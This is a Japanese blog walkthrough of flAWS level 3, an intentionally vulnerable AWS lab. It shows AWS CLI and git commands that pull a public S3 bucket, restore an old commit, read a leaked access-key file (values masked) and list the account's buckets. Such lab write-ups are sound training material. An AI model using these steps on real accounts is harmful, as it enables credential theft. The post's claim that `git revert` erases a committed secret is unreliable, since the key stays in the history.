flAWSレベル3やるっ
今日も進めていきます。今回はレベル3です。
問題文はこちら。
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.
AWSキー発見の初体験のときだそうです…
クラッカーにとってAWSキーを見つけることは、人生の記念すべき瞬間てこと。
で、他のバケットのリストを見つければ良いみたいなので、、といっても何をすべきか全くノーアイデアです。ヒントを見せてください。
S3バケットの中身をダウンロードする
今回もAWS CLIを使って、flAWSのS3バケットをダウンロードするところから始めます。
まずはAWS CLIで自分のAWS IAM Identity Centerにログインが必要です。
~ % aws sso login --profile sso-admin
Attempting to automatically open the SSO authorization page in your default browser.
If the browser does not open or you wish to use a different device to authorize this request, open the following URL:
https://device.sso.ap-northeast-3.amazonaws.com/
Then enter the code:
XXXX-XXXX
Successfully logged into Start URL: https://xxxxxxxx.awsapps.com/start
ログインに成功しました。
ではヒント1の通りflAWSのS3バケットをローカル端末にダウンロードしてみます。
~ % aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .\Downloads\ --no-sign-request --region us-west-2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to Downloads\.git\HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to Downloads\.git\description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to Downloads\.git\hooks\post-update.sample
~以下略~
ダウンロードできました。
中に”.git”ディレクトリの存在が確認できます。
% ls ./Downloads/
Directory: C:\Users\<myname>\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 2023/03/28 12:27 .git
-a--- 2017/02/27 9:14 123637 authenticated_users.png
-a--- 2017/02/27 9:14 1552 hint1.html
-a--- 2017/02/27 9:14 1426 hint2.html
-a--- 2017/02/27 9:14 1247 hint3.html
-a--- 2017/02/27 9:14 1035 hint4.html
-a--- 2020/05/23 3:21 1861 index.html
-a--- 2017/02/27 9:14 26 robots.txt
Gitリポジトリ履歴を復元する
移動してgit log
コマンドを実行し、Gitあるところに編集履歴あり。Gitリポジトリの履歴を見てみましょう。
~ % cd ./Downloads/
Downloads % git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:07 2017 -0600
first commit
”HEAD”と印が付いているのが現在のバージョンです。
さらに「いけないものを追加しちゃった~」みたいなコメントと共にコミットされています。わざわざ書かなくてもいいのに。
時間にしてその数十秒前にコミットされているバージョンが残されています。
ここに何か載せちゃいけないものを載せたから、慌てて今の修正バージョンをコミットしたのでしょう。
Downloads % git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.
HEAD is now at f52ec03 first commit
M index.html
これで履歴から復元されたので、どんな変化があるか、もう一度ファイルを見てみましょう。
Downloads % ls -la
total 320
drwx------+ 13 shinjoukatsuya staff 416 3 28 23:34 .
drwxr-x---+ 35 shinjoukatsuya staff 1120 3 28 23:33 ..
-rw-r--r--@ 1 shinjoukatsuya staff 6148 3 26 11:47 .DS_Store
drwxr-xr-x 12 shinjoukatsuya staff 384 3 28 23:34 .git
-rw-r--r-- 1 shinjoukatsuya staff 0 6 5 2022 .localized
-rw-r--r-- 1 shinjoukatsuya staff 91 3 28 23:34 access_keys.txt
-rw-r--r-- 1 shinjoukatsuya staff 123637 2 27 2017 authenticated_users.png
-rw-r--r-- 1 shinjoukatsuya staff 1552 2 27 2017 hint1.html
-rw-r--r-- 1 shinjoukatsuya staff 1426 2 27 2017 hint2.html
-rw-r--r-- 1 shinjoukatsuya staff 1247 2 27 2017 hint3.html
-rw-r--r-- 1 shinjoukatsuya staff 1035 2 27 2017 hint4.html
-rw-r--r-- 1 shinjoukatsuya staff 1703 3 28 23:24 index.html
-rw-r--r-- 1 shinjoukatsuya staff 26 2 27 2017 robots.txt
最も見えてはいけないっぽい名前のファイル、”access_keys.txt”の存在を確認できました。
絶対AWSのアクセスキーが入ってると思われます。
AWSアカウントへのアクセス
Downloads % cat access_keys.txt
access_key XXXXXXXXXXXXXXXXXX
secret_access_key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
アクセスキーが入っています。
こうしてAWSキーが入手できてしまったので、もちろんこのアカウントにログインを試みます。そこにアクセスキーがあるから。
このflAWSのAWSにアクセスするためのプロファイルを作成します。
Downloads % aws configure --profile flaws
AWS Access Key ID [None]: XXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Default region name [None]: us-west-2
Default output format [None]: json
問題ありません。これで、flAWSの中の人としてAWSにアクセスできます。
flAWSが所有するS3バケットのリストを取得しましょう。
Downloads % aws --profile flaws s3 ls
2020-06-26 02:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-27 08:06:07 config-bucket-975426262029
2020-06-27 19:46:15 flaws-logs
2020-06-27 19:46:15 flaws.cloud
2020-06-28 00:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-28 00:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-28 00:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-28 00:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-28 00:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 11:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
各レベル用に用意されたバケットが丸見えです。
私が目指しているのは常にNext Levelです。人目もはばからずlevel4のバケットにアクセスします。
今回は「Congrats!」がなかったので合ってるか不安でしたが、どうやらクリアできたようです。
今回の問題点
この設問は、AWSキーを誤ってコミットしたあとに、コミット自体を取り消さなかったことが問題だったということです。
履歴が残っていることを考慮していなかったのか、第三者に履歴を復元されるとは思わなかったのか分かりませんが、例えば今回のように誤ってAWSキーに関わるミスがあった場合、コミットをロールバックして修正するべきでした。
ローカルリポジトリのコミットを無かったことにするには次のコマンド
git reset --hard <commit_ID>
リモートリポジトリへのプッシュをロールバックする場合は次のコマンド
git revert <commit_ID>
これらを実行して、ミスを無かったことにしましょう!!
多数のメンバーが関わるリモートリポジトリをロールバックする場合は、本当はもう少し問題が複雑になるはずですが、、有効なAWSキーが残ってしまうよりは良いでしょう。
また一度でもAWSキーが漏洩したおそれがある場合は、すぐに既存のキーを無効化して、新しいキーを作成することが必須です。
いまは、プログラムから機械的にアクセスする場合を除き、アクセスキーを使用した認証は非推奨となりました。
ここでも行なったように、IAM Identity Centerで発行される短い期間の認証を使用することで、キーの漏洩による不正利用のリスクを抑えることができます。
今回は私がGit苦手&無知すぎてけっこう難しかったです。。
Gitの本、積んでるの読もう。
Discussion